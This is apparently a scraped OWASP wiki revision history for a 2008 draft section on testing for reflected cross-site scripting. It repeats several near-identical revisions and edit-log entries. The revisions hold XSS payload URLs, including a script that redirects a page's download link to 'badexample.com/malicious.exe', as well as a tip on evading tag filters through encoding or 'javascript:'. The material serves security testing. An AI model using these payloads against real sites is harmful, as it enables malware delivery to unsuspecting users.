This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):
<pre>http://localhost/tag/xss-s-tag-1.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> </pre>

This produces the following behavior:
<br><br>
[[Image:XSS Example2.png]]
<br><br>
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.
<br><br>
An important set of tips that testers must have in mind when working with cross-site scripting vulnerabilities:

'''Filtering''': ex. a web application or a web server ( like apache mod_rewrite ) can parse the URL matching a regular expression like this: /((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/i.
This regular expression prevents the use of alphanumeric characters inside brackets and slashes. One way to execute in this regular expression could be using "javascript:", if we dont need to close any other kind of tag.
...<br><br>
== References ==
'''Books'''<br>
* Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applicatons", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
* Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
* Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3
'''Whitepapers'''<br>
* XSS Cheat Sheet: http://ha.ckers.org/xss.html
* The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml
* HTML Code Injection and Cross-site scripting: http://www.technicalinfo.net/papers/CSS.html
'''Tools'''<br>
* '''OWASP CAL9000''' - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding
<br>

Testing for Reflected Cross site scripting (OTG-INPVAL-001)

2008-07-29T17:40:08Z

Sick:

{{Template:OWASP Testing Guide v3}}

'''This is a draft of a section of the new Testing Guide v3'''

== Brief Summary ==

Reflected cross-site scripting (XSS) is another name for non-persistent
XSS, where the attack doesn't load with the vulnerable web application
but is originated by the victim loading the offending URI. In this
article we will see some ways to test a web application for this kind of
vulnerability.

<br>
== Description of the Issue ==

Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and
are the most frequent type of XSS attacks found nowadays.

When a web application is vulnerable to this type of attack, it will
pass unvalidated input sent through requests to the client. The common modus
operandi of the attack includes a design step, in which the attacker
creates and tests an offending URI, a social engineering step, in which
he convinces her victims to load this URI on their browsers, and the eventual
execution of the offending code -using the victim's credentials-.

Commonly the attacker's code is in the Javascript language, but also
other scripting languajes like ActionScript, and VBScript.

Attackers typically profit from these vulnerabilities in order to
install key loggers, steal victim cookies, clipboard theft, and
change the content of the page (e.g., download links).

One of the important matters about exploiting XSS vulnerabilities is character encoding.
In some cases, the web server or the web application could not be filtering some
encodings of characters, so for example the web application might filter out "<script>",
but might not filter %3cscript%3e which simply includes another encoding of tags.
A nice tool for testing character encodings is OWASP's CAL9000.
<br>
== Black Box testing and example ==
The aim of black-box testing for reflected XSS vulnerabilities is to tamper with the HTML output generated through links and other forms of requests and understanding how to do it.

For example, consider a site that has a welcome notice " Welcome %username% " and a download link.
<br><br>
[[Image:XSS Example1.png]]
<br><br>
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability.
Let's try to click on the following link and see what happens:
<pre>http://localhost/tag/xss-s-tag-1.php?user=<script>alert(123)</script></pre>

If no sanitization is applied this will result in the following popup:
<br><br>
[[Image:alert.png]]
<br><br>
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):
<pre>http://localhost/tag/xss-s-tag-1.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> </pre>

This produces the following behavior:
<br><br>
[[Image:XSS Example2.png]]
<br><br>
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.
<br><br>
An important set of tips that testers must have in mind when working with cross-site scripting vulnerabilities:

'''Filtering''': ex. a web application or a web server ( like apache mod_rewrite ) can parse the URL matching a regular expression like this: /((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/i.
This regular expression prevents the use of alphanumeric characters inside brackets and slashes. One way to execute in this regular expression could be using "javascript:", if we dont need to close any other kind of tag.
...<br><br>
== Gray Box testing and example ==
'''Testing for Topic X vulnerabilities:'''<br>
...<br>
'''Result Expected:'''<br>
...<br><br>
== References ==
'''Whitepapers'''<br>
...<br>
'''Tools'''<br>
...<br>

Testing for Reflected Cross site scripting (OTG-INPVAL-001)

2008-07-29T17:19:21Z

Sick:

{{Template:OWASP Testing Guide v3}}

'''This is a draft of a section of the new Testing Guide v3'''

== Brief Summary ==

Reflected cross-site scripting (XSS) is another name for non-persistent
XSS, where the attack doesn't load with the vulnerable web application
but is originated by the victim loading the offending URI. In this
article we will see some ways to test a web application for this kind of
vulnerability.

<br>
== Description of the Issue ==

Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and
are the most frequent type of XSS attacks found nowadays.

When a web application is vulnerable to this type of attack, it will
pass unvalidated input sent through requests to the client. The common modus
operandi of the attack includes a design step, in which the attacker
creates and tests an offending URI, a social engineering step, in which
he convinces her victims to load this URI on their browsers, and the eventual
execution of the offending code -using the victim's credentials-.

Commonly the attacker's code is in the Javascript language, but also
other scripting languajes like ActionScript, and VBScript.

Attackers typically profit from these vulnerabilities in order to
install key loggers, steal victim cookies, clipboard theft, and
change the content of the page (e.g., download links).

One of the important matters about exploiting XSS vulnerabilities is character encoding.
In some cases, the web server or the web application could not be filtering some
encodings of characters, so for example the web application might filter out "<script>",
but might not filter %3cscript%3 which simply includes another encoding of tags.
A nice tool for testing character encodings is OWASP's CAL9000.
<br>
== Black Box testing and example ==
The aim of black-box testing for reflected XSS vulnerabilities is to tamper with the HTML output generated through links and other forms of requests and understanding how to do it.

For example, consider a site that has a welcome notice " Welcome %username% " and a download link.
<br><br>
[[Image:XSS Example1.png]]
<br><br>
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability.
Let's try to click on the following link and see what happens:
<pre>http://localhost/tag/xss-s-tag-1.php?user=<script>alert(123)</script></pre>

If no sanitization is applied this will result in the following popup:
<br><br>
[[Image:alert.png]]
<br><br>
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):
<pre>http://localhost/tag/xss-s-tag-1.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> </pre>

This produces the following behavior:
<br><br>
[[Image:XSS Example2.png]]
<br><br>
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.

...<br><br>
== Gray Box testing and example ==
'''Testing for Topic X vulnerabilities:'''<br>
...<br>
'''Result Expected:'''<br>
...<br><br>
== References ==
'''Whitepapers'''<br>
...<br>
'''Tools'''<br>
...<br>

Testing for Reflected Cross site scripting (OTG-INPVAL-001)

2008-07-29T17:17:46Z

Sick:

File:Alert.png

2008-07-29T17:16:41Z

Sick: https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting

https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting

File:XSS Example2.png

2008-07-29T17:16:18Z

Sick: https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting

https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting

File:XSS Example1.png

2008-07-29T17:15:50Z

Sick: https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting

https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting

Testing for Reflected Cross site scripting (OTG-INPVAL-001)

2008-07-29T17:10:43Z

Sick: added black box example

Testing for Reflected Cross site scripting (OTG-INPVAL-001)

2008-07-08T14:58:21Z

Sick:

Testing for Reflected Cross site scripting (OTG-INPVAL-001)

2008-07-08T14:50:19Z

Sick: Brief Summary and Description